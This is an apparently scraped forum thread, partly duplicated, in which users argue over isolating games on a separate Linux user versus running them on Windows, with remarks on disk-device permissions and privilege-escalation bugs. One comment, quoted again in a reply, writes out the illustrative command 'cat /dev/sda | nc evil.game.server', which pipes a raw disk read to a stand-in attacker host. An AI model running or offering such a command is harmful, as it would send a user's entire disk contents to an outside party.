3 ms·

> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another us

> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges. Reminds me of https://xkcd.com/1200/ https://xkcd.com/1200/ ; why would running games as admin matter in the slightest if your actually sensitive data, ~/Documents, is not even on that computer ? If it were on linux with another user, the game could still do `cat /dev/sda | nc evil.game.server` unlike here.

turrini 5y ago
> If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here. That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group: brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda
- l-albertovich 5y ago
  And of course a very easy to exploit bug that has been around for like 12 years hasn't gone public a few days ago because LPEs DO NOT EXIST IN LINUX. I mean, it's quite obvious, exploitable bugs do not exist in Linux because back in the day Ken, Dennis, Brian, Doug and Joe agreed that they were not part of the Unix philosophy so they left them for windows to implement. /s Aside from the stupid joke, what OP is saying is absolutely right, if you care about security keep your things properly isolated, keep a (whichever OS you trust but hopefully linux or a bsd) as main box and then a windows or macos computer isolated (best case scenario using a vlan capable switch, or a dedicated pi that acts as a firewall just for that box).

turrini 5y ago

> If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here. That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group: brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda

l-albertovich 5y ago
And of course a very easy to exploit bug that has been around for like 12 years hasn't gone public a few days ago because LPEs DO NOT EXIST IN LINUX. I mean, it's quite obvious, exploitable bugs do not exist in Linux because back in the day Ken, Dennis, Brian, Doug and Joe agreed that they were not part of the Unix philosophy so they left them for windows to implement. /s Aside from the stupid joke, what OP is saying is absolutely right, if you care about security keep your things properly isolated, keep a (whichever OS you trust but hopefully linux or a bsd) as main box and then a windows or macos computer isolated (best case scenario using a vlan capable switch, or a dedicated pi that acts as a firewall just for that box).